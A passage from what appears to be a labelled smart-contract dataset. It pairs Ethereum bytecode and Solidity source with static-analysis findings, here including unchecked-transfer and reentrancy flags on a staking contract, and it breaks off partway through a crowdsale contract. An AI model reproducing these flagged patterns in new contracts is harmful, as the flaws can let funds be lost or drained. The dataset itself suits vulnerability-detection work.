35b602083106123455780518252601f199092019160209182019101612326565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902084600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c168660405190815260200160405180910390a483600160a060020a031633600160a060020a031660008051602061240a8339815191528560405190815260200160405180910390a35060019392505050565b602060405190810160405260008152905600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a7230582002bfe663b00b6448977d49fd90806ae2b7460138bb1ad44c9dc28f80b63045030029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 7,978 |
0x388bbcd6d5d7727fff90b5de243f8ab1e677adeb
|
/**
*Submitted for verification at Etherscan.io on 2020-11-18
*/
pragma solidity 0.6.12;
// SPDX-License-Identifier: BSD-3-Clause
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256`
* (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public admin;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
admin = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == admin);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(admin, newOwner);
admin = newOwner;
}
}
interface Token {
function transferFrom(address, address, uint) external returns (bool);
function transfer(address, uint) external returns (bool);
}
contract Poo4 is Ownable {
using SafeMath for uint;
using EnumerableSet for EnumerableSet.AddressSet;
event RewardsTransferred(address holder, uint amount);
// yfilend token contract address
address public tokenAddress;
address public liquiditytoken1;
// reward rate % per year
uint public rewardRate = 6500;
uint public rewardInterval = 365 days;
// staking fee percent
uint public stakingFeeRate = 0;
// unstaking fee percent
uint public unstakingFeeRate = 250;
// unstaking possible Time
uint public PossibleUnstakeTime = 72 hours;
uint public totalClaimedRewards = 0;
uint private FundedTokens;
bool public stakingStatus = false;
EnumerableSet.AddressSet private holders;
mapping (address => uint) public depositedTokens;
mapping (address => uint) public stakingTime;
mapping (address => uint) public lastClaimedTime;
mapping (address => uint) public totalEarnedTokens;
/*=============================ADMINISTRATIVE FUNCTIONS ==================================*/
function setTokenAddresses(address _tokenAddr, address _liquidityAddr) public onlyOwner returns(bool){
require(_tokenAddr != address(0) && _liquidityAddr != address(0), "Invalid addresses format are not supported");
tokenAddress = _tokenAddr;
liquiditytoken1 = _liquidityAddr;
}
function stakingFeeRateSet(uint _stakingFeeRate, uint _unstakingFeeRate) public onlyOwner returns(bool){
stakingFeeRate = _stakingFeeRate;
unstakingFeeRate = _unstakingFeeRate;
}
function rewardRateSet(uint _rewardRate) public onlyOwner returns(bool){
rewardRate = _rewardRate;
}
function StakingReturnsAmountSet(uint _poolreward) public onlyOwner returns(bool){
FundedTokens = _poolreward;
}
function possibleUnstakeTimeSet(uint _possibleUnstakeTime) public onlyOwner returns(bool){
PossibleUnstakeTime = _possibleUnstakeTime;
}
function rewardIntervalSet(uint _rewardInterval) public onlyOwner returns(bool){
rewardInterval = _rewardInterval;
}
function allowStaking(bool _status) public onlyOwner returns(bool){
require(tokenAddress != address(0) && liquiditytoken1 != address(0), "Interracting token addresses are not yet configured");
stakingStatus = _status;
}
function transferAnyERC20Tokens(address _tokenAddr, address _to, uint _amount) public onlyOwner {
if (_tokenAddr == tokenAddress) {
if (_amount > getFundedTokens()) {
revert();
}
totalClaimedRewards = totalClaimedRewards.add(_amount);
}
Token(_tokenAddr).transfer(_to, _amount);
}
function updateAccount(address account) private {
uint unclaimedDivs = getUnclaimedDivs(account);
if (unclaimedDivs > 0) {
require(Token(tokenAddress).transfer(account, unclaimedDivs), "Could not transfer tokens.");
totalEarnedTokens[account] = totalEarnedTokens[account].add(unclaimedDivs);
totalClaimedRewards = totalClaimedRewards.add(unclaimedDivs);
emit RewardsTransferred(account, unclaimedDivs);
}
lastClaimedTime[account] = now;
}
function getUnclaimedDivs(address _holder) public view returns (uint) {
if (!holders.contains(_holder)) return 0;
if (depositedTokens[_holder] == 0) return 0;
uint timeDiff = now.sub(lastClaimedTime[_holder]);
uint stakedAmount = depositedTokens[_holder];
uint unclaimedDivs = stakedAmount
.mul(rewardRate)
.mul(timeDiff)
.div(rewardInterval)
.div(1e4);
return unclaimedDivs;
}
function getNumberOfHolders() public view returns (uint) {
return holders.length();
}
function place(uint amountToStake) public {
require(stakingStatus == true, "Staking is not yet initialized");
require(amountToStake > 0, "Cannot deposit 0 Tokens");
require(Token(liquiditytoken1).transferFrom(msg.sender, address(this), amountToStake), "Insufficient Token Allowance");
updateAccount(msg.sender);
uint fee = amountToStake.mul(stakingFeeRate).div(1e4);
uint amountAfterFee = amountToStake.sub(fee);
require(Token(liquiditytoken1).transfer(admin, fee), "Could not transfer deposit fee.");
depositedTokens[msg.sender] = depositedTokens[msg.sender].add(amountAfterFee);
if (!holders.contains(msg.sender)) {
holders.add(msg.sender);
stakingTime[msg.sender] = now;
}
}
function lift(uint amountToWithdraw) public {
require(depositedTokens[msg.sender] >= amountToWithdraw, "Invalid amount to withdraw");
require(now.sub(stakingTime[msg.sender]) > PossibleUnstakeTime, "You have not staked for a while yet, kindly wait a bit more");
updateAccount(msg.sender);
uint fee = amountToWithdraw.mul(unstakingFeeRate).div(1e4);
uint amountAfterFee = amountToWithdraw.sub(fee);
require(Token(liquiditytoken1).transfer(admin, fee), "Could not transfer withdraw fee.");
require(Token(liquiditytoken1).transfer(msg.sender, amountAfterFee), "Could not transfer tokens.");
depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw);
if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) {
holders.remove(msg.sender);
}
}
function claimYields() public {
updateAccount(msg.sender);
}
function getFundedTokens() public view returns (uint) {
if (totalClaimedRewards >= FundedTokens) {
return 0;
}
uint remaining = FundedTokens.sub(totalClaimedRewards);
return remaining;
}
}
|
0x608060405234801561001057600080fd5b50600436106101cf5760003560e01c80636a395ccb11610104578063c326bf4f116100a2578063f2fde38b11610071578063f2fde38b14610445578063f3073ee71461046b578063f3f91fa01461048a578063f851a440146104b0576101cf565b8063c326bf4f14610407578063d578ceab1461042d578063d816c7d514610435578063f1587ea11461043d576101cf565b8063a89c8c5e116100de578063a89c8c5e14610397578063b52b50e4146103c5578063bec4de3f146103e2578063c0a6d78b146103ea576101cf565b80636a395ccb146103515780637b0a47ee146103875780639d76ea581461038f576101cf565b8063455ab53c11610171578063583d42fd1161014b578063583d42fd146102f55780635ef057be1461031b5780636270cd18146103235780636654ffdf14610349576101cf565b8063455ab53c146102b35780634908e386146102bb57806352cd0d40146102d8576101cf565b80632f278fe8116101ad5780632f278fe814610261578063308feec31461026b57806337c5785a146102735780633844317714610296576101cf565b8063069ca4d0146101d45780631e94723f146102055780632ec14e851461023d575b600080fd5b6101f1600480360360208110156101ea57600080fd5b50356104b8565b604080519115158252519081900360200190f35b61022b6004803603602081101561021b57600080fd5b50356001600160a01b03166104d9565b60408051918252519081900360200190f35b610245610592565b604080516001600160a01b039092168252519081900360200190f35b6102696105a1565b005b61022b6105ac565b6101f16004803603604081101561028957600080fd5b50803590602001356105be565b6101f1600480360360208110156102ac57600080fd5b50356105e2565b6101f1610603565b6101f1600480360360208110156102d157600080fd5b503561060c565b610269600480360360208110156102ee57600080fd5b503561062d565b61022b6004803603602081101561030b57600080fd5b50356001600160a01b0316610932565b61022b610944565b61022b6004803603602081101561033957600080fd5b50356001600160a01b031661094a565b61022b61095c565b6102696004803603606081101561036757600080fd5b506001600160a01b03813581169160208101359091169060400135610962565b61022b610a3c565b610245610a42565b6101f1600480360360408110156103ad57600080fd5b506001600160a01b0381358116916020013516610a51565b610269600480360360208110156103db57600080fd5b5035610af7565b61022b610dec565b6101f16004803603602081101561040057600080fd5b5035610df2565b61022b6004803603602081101561041d57600080fd5b50356001600160a01b0316610e13565b61022b610e25565b61022b610e2b565b61022b610e31565b6102696004803603602081101561045b57600080fd5b50356001600160a01b0316610e65565b6101f16004803603602081101561048157600080fd5b50351515610eea565b61022b600480360360208110156104a057600080fd5b50356001600160a01b0316610f76565b610245610f88565b600080546001600160a01b031633146104d057600080fd5b60049190915590565b60006104e6600b83610f97565b6104f25750600061058d565b6001600160a01b0382166000908152600d60205260409020546105175750600061058d565b6001600160a01b0382166000908152600f602052604081205461053b904290610fb5565b6001600160a01b0384166000908152600d60205260408120546004546003549394509092610587916127109161058191908290889061057b908990610fc7565b90610fc7565b90610fe7565b93505050505b919050565b6002546001600160a01b031681565b6105aa33610ffc565b565b60006105b8600b611190565b90505b90565b600080546001600160a01b031633146105d657600080fd5b60059290925560065590565b600080546001600160a01b031633146105fa57600080fd5b60099190915590565b600a5460ff1681565b600080546001600160a01b0316331461062457600080fd5b60039190915590565b336000908152600d6020526040902054811115610691576040805162461bcd60e51b815260206004820152601a60248201527f496e76616c696420616d6f756e7420746f207769746864726177000000000000604482015290519081900360640190fd5b600754336000908152600e60205260409020546106af904290610fb5565b116106eb5760405162461bcd60e51b815260040180806020018281038252603b815260200180611301603b913960400191505060405180910390fd5b6106f433610ffc565b600061071161271061058160065485610fc790919063ffffffff16565b9050600061071f8383610fb5565b600254600080546040805163a9059cbb60e01b81526001600160a01b03928316600482015260248101889052905194955092169263a9059cbb926044808201936020939283900390910190829087803b15801561077b57600080fd5b505af115801561078f573d6000803e3d6000fd5b505050506040513d60208110156107a557600080fd5b50516107f8576040805162461bcd60e51b815260206004820181905260248201527f436f756c64206e6f74207472616e73666572207769746864726177206665652e604482015290519081900360640190fd5b6002546040805163a9059cbb60e01b81523360048201526024810184905290516001600160a01b039092169163a9059cbb916044808201926020929091908290030181600087803b15801561084c57600080fd5b505af1158015610860573d6000803e3d6000fd5b505050506040513d602081101561087657600080fd5b50516108c9576040805162461bcd60e51b815260206004820152601a60248201527f436f756c64206e6f74207472616e7366657220746f6b656e732e000000000000604482015290519081900360640190fd5b336000908152600d60205260409020546108e39084610fb5565b336000818152600d602052604090209190915561090290600b90610f97565b801561091b5750336000908152600d6020526040902054155b1561092d5761092b600b3361119b565b505b505050565b600e6020526000908152604090205481565b60055481565b60106020526000908152604090205481565b60075481565b6000546001600160a01b0316331461097957600080fd5b6001546001600160a01b03848116911614156109b457610997610e31565b8111156109a357600080fd5b6008546109b090826111b0565b6008555b826001600160a01b031663a9059cbb83836040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b158015610a0b57600080fd5b505af1158015610a1f573d6000803e3d6000fd5b505050506040513d6020811015610a3557600080fd5b5050505050565b60035481565b6001546001600160a01b031681565b600080546001600160a01b03163314610a6957600080fd5b6001600160a01b03831615801590610a8957506001600160a01b03821615155b610ac45760405162461bcd60e51b815260040180806020018281038252602a81526020018061136f602a913960400191505060405180910390fd5b600180546001600160a01b039485166001600160a01b031991821617909155600280549390941692169190911790915590565b600a5460ff161515600114610b53576040805162461bcd60e51b815260206004820152601e60248201527f5374616b696e67206973206e6f742079657420696e697469616c697a65640000604482015290519081900360640190fd5b60008111610ba8576040805162461bcd60e51b815260206004820152601760248201527f43616e6e6f74206465706f736974203020546f6b656e73000000000000000000604482015290519081900360640190fd5b600254604080516323b872dd60e01b81523360048201523060248201526044810184905290516001600160a01b03909216916323b872dd916064808201926020929091908290030181600087803b158015610c0257600080fd5b505af1158015610c16573d6000803e3d6000fd5b505050506040513d6020811015610c2c57600080fd5b5051610c7f576040805162461bcd60e51b815260206004820152601c60248201527f496e73756666696369656e7420546f6b656e20416c6c6f77616e636500000000604482015290519081900360640190fd5b610c8833610ffc565b6000610ca561271061058160055485610fc790919063ffffffff16565b90506000610cb38383610fb5565b600254600080546040805163a9059cbb60e01b81526001600160a01b03928316600482015260248101889052905194955092169263a9059cbb926044808201936020939283900390910190829087803b158015610d0f57600080fd5b505af1158015610d23573d6000803e3d6000fd5b505050506040513d6020811015610d3957600080fd5b5051610d8c576040805162461bcd60e51b815260206004820152601f60248201527f436f756c64206e6f74207472616e73666572206465706f736974206665652e00604482015290519081900360640190fd5b336000908152600d6020526040902054610da690826111b0565b336000818152600d6020526040902091909155610dc590600b90610f97565b61092d57610dd4600b336111bf565b50336000908152600e60205260409020429055505050565b60045481565b600080546001600160a01b03163314610e0a57600080fd5b60079190915590565b600d6020526000908152604090205481565b60085481565b60065481565b600060095460085410610e46575060006105bb565b6000610e5f600854600954610fb590919063ffffffff16565b91505090565b6000546001600160a01b03163314610e7c57600080fd5b6001600160a01b038116610e8f57600080fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b600080546001600160a01b03163314610f0257600080fd5b6001546001600160a01b031615801590610f2657506002546001600160a01b031615155b610f615760405162461bcd60e51b815260040180806020018281038252603381526020018061133c6033913960400191505060405180910390fd5b600a805460ff19169215159290921790915590565b600f6020526000908152604090205481565b6000546001600160a01b031681565b6000610fac836001600160a01b0384166111d4565b90505b92915050565b600082821115610fc157fe5b50900390565b6000828202831580610fe1575082848281610fde57fe5b04145b610fac57fe5b600080828481610ff357fe5b04949350505050565b6000611007826104d9565b90508015611173576001546040805163a9059cbb60e01b81526001600160a01b038581166004830152602482018590529151919092169163a9059cbb9160448083019260209291908290030181600087803b15801561106557600080fd5b505af1158015611079573d6000803e3d6000fd5b505050506040513d602081101561108f57600080fd5b50516110e2576040805162461bcd60e51b815260206004820152601a60248201527f436f756c64206e6f74207472616e7366657220746f6b656e732e000000000000604482015290519081900360640190fd5b6001600160a01b03821660009081526010602052604090205461110590826111b0565b6001600160a01b03831660009081526010602052604090205560085461112b90826111b0565b600855604080516001600160a01b03841681526020810183905281517f586b2e63a21a7a4e1402e36f48ce10cb1ec94684fea254c186b76d1f98ecf130929181900390910190a15b506001600160a01b03166000908152600f60205260409020429055565b6000610faf826111ec565b6000610fac836001600160a01b0384166111f0565b600082820183811015610fac57fe5b6000610fac836001600160a01b0384166112b6565b60009081526001919091016020526040902054151590565b5490565b600081815260018301602052604081205480156112ac578354600019808301919081019060009087908390811061122357fe5b906000526020600020015490508087600001848154811061124057fe5b60009182526020808320909101929092558281526001898101909252604090209084019055865487908061127057fe5b60019003818190600052602060002001600090559055866001016000878152602001908152602001600020600090556001945050505050610faf565b6000915050610faf565b60006112c283836111d4565b6112f857508154600181810184556000848152602080822090930184905584548482528286019093526040902091909155610faf565b506000610faf56fe596f752068617665206e6f74207374616b656420666f722061207768696c65207965742c206b696e646c792077616974206120626974206d6f7265496e74657272616374696e6720746f6b656e2061646472657373657320617265206e6f742079657420636f6e66696775726564496e76616c69642061646472657373657320666f726d617420617265206e6f7420737570706f72746564a2646970667358221220b3e707ccfeeaec9bc98b37d4a65c6436edc8a5a6fb2b41c80c1c856818046a4664736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 7,979 |
0xea9be48045942ffb578e1e295e5401e86cba8e8c
|
pragma solidity ^0.4.24;
// File: openzeppelin-solidity/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
// File: openzeppelin-solidity/contracts/crowdsale/Crowdsale.sol
/**
* @title Crowdsale
* @dev Crowdsale is a base contract for managing a token crowdsale,
* allowing investors to purchase tokens with ether. This contract implements
* such functionality in its most fundamental form and can be extended to provide additional
* functionality and/or custom behavior.
* The external interface represents the basic interface for purchasing tokens, and conform
* the base architecture for crowdsales. They are *not* intended to be modified / overriden.
* The internal interface conforms the extensible and modifiable surface of crowdsales. Override
* the methods to add functionality. Consider using 'super' where appropiate to concatenate
* behavior.
*/
contract Crowdsale {
using SafeMath for uint256;
// The token being sold
ERC20 public token;
// Address where funds are collected
address public wallet;
// How many token units a buyer gets per wei.
// The rate is the conversion between wei and the smallest and indivisible token unit.
// So, if you are using a rate of 1 with a DetailedERC20 token with 3 decimals called TOK
// 1 wei will give you 1 unit, or 0.001 TOK.
uint256 public rate;
// Amount of wei raised
uint256 public weiRaised;
/**
* Event for token purchase logging
* @param purchaser who paid for the tokens
* @param beneficiary who got the tokens
* @param value weis paid for purchase
* @param amount amount of tokens purchased
*/
event TokenPurchase(
address indexed purchaser,
address indexed beneficiary,
uint256 value,
uint256 amount
);
/**
* @param _rate Number of token units a buyer gets per wei
* @param _wallet Address where collected funds will be forwarded to
* @param _token Address of the token being sold
*/
constructor(uint256 _rate, address _wallet, ERC20 _token) public {
require(_rate > 0);
require(_wallet != address(0));
require(_token != address(0));
rate = _rate;
wallet = _wallet;
token = _token;
}
// -----------------------------------------
// Crowdsale external interface
// -----------------------------------------
/**
* @dev fallback function ***DO NOT OVERRIDE***
*/
function () external payable {
buyTokens(msg.sender);
}
/**
* @dev low level token purchase ***DO NOT OVERRIDE***
* @param _beneficiary Address performing the token purchase
*/
function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
// calculate token amount to be created
uint256 tokens = _getTokenAmount(weiAmount);
// update state
weiRaised = weiRaised.add(weiAmount);
_processPurchase(_beneficiary, tokens);
emit TokenPurchase(
msg.sender,
_beneficiary,
weiAmount,
tokens
);
_updatePurchasingState(_beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(_beneficiary, weiAmount);
}
// -----------------------------------------
// Internal interface (extensible)
// -----------------------------------------
/**
* @dev Validation of an incoming purchase. Use require statements to revert state when conditions are not met. Use super to concatenate validations.
* @param _beneficiary Address performing the token purchase
* @param _weiAmount Value in wei involved in the purchase
*/
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
require(_beneficiary != address(0));
require(_weiAmount != 0);
}
/**
* @dev Validation of an executed purchase. Observe state and use revert statements to undo rollback when valid conditions are not met.
* @param _beneficiary Address performing the token purchase
* @param _weiAmount Value in wei involved in the purchase
*/
function _postValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
// optional override
}
/**
* @dev Source of tokens. Override this method to modify the way in which the crowdsale ultimately gets and sends its tokens.
* @param _beneficiary Address performing the token purchase
* @param _tokenAmount Number of tokens to be emitted
*/
function _deliverTokens(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
token.transfer(_beneficiary, _tokenAmount);
}
/**
* @dev Executed when a purchase has been validated and is ready to be executed. Not necessarily emits/sends tokens.
* @param _beneficiary Address receiving the tokens
* @param _tokenAmount Number of tokens to be purchased
*/
function _processPurchase(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
_deliverTokens(_beneficiary, _tokenAmount);
}
/**
* @dev Override for extensions that require an internal state to check for validity (current user contributions, etc.)
* @param _beneficiary Address receiving the tokens
* @param _weiAmount Value in wei involved in the purchase
*/
function _updatePurchasingState(
address _beneficiary,
uint256 _weiAmount
)
internal
{
// optional override
}
/**
* @dev Override to extend the way in which ether is converted to tokens.
* @param _weiAmount Value in wei to be converted into tokens
* @return Number of tokens that can be purchased with the specified _weiAmount
*/
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
return _weiAmount.mul(rate);
}
/**
* @dev Determines how ETH is stored/forwarded on purchases.
*/
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
}
// File: openzeppelin-solidity/contracts/crowdsale/emission/AllowanceCrowdsale.sol
/**
* @title AllowanceCrowdsale
* @dev Extension of Crowdsale where tokens are held by a wallet, which approves an allowance to the crowdsale.
*/
contract AllowanceCrowdsale is Crowdsale {
using SafeMath for uint256;
address public tokenWallet;
/**
* @dev Constructor, takes token wallet address.
* @param _tokenWallet Address holding the tokens, which has approved allowance to the crowdsale
*/
constructor(address _tokenWallet) public {
require(_tokenWallet != address(0));
tokenWallet = _tokenWallet;
}
/**
* @dev Checks the amount of tokens left in the allowance.
* @return Amount of tokens left in the allowance
*/
function remainingTokens() public view returns (uint256) {
return token.allowance(tokenWallet, this);
}
/**
* @dev Overrides parent behavior by transferring tokens from wallet.
* @param _beneficiary Token purchaser
* @param _tokenAmount Amount of tokens purchased
*/
function _deliverTokens(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
token.transferFrom(tokenWallet, _beneficiary, _tokenAmount);
}
}
// File: openzeppelin-solidity/contracts/crowdsale/validation/CappedCrowdsale.sol
/**
* @title CappedCrowdsale
* @dev Crowdsale with a limit for total contributions.
*/
contract CappedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public cap;
/**
* @dev Constructor, takes maximum amount of wei accepted in the crowdsale.
* @param _cap Max amount of wei to be contributed
*/
constructor(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
/**
* @dev Checks whether the cap has been reached.
* @return Whether the cap was reached
*/
function capReached() public view returns (bool) {
return weiRaised >= cap;
}
/**
* @dev Extend parent behavior requiring purchase to respect the funding cap.
* @param _beneficiary Token purchaser
* @param _weiAmount Amount of wei contributed
*/
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
super._preValidatePurchase(_beneficiary, _weiAmount);
require(weiRaised.add(_weiAmount) <= cap);
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
require(token.transfer(to, value));
}
function safeTransferFrom(
ERC20 token,
address from,
address to,
uint256 value
)
internal
{
require(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
require(token.approve(spender, value));
}
}
// File: openzeppelin-solidity/contracts/ownership/Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
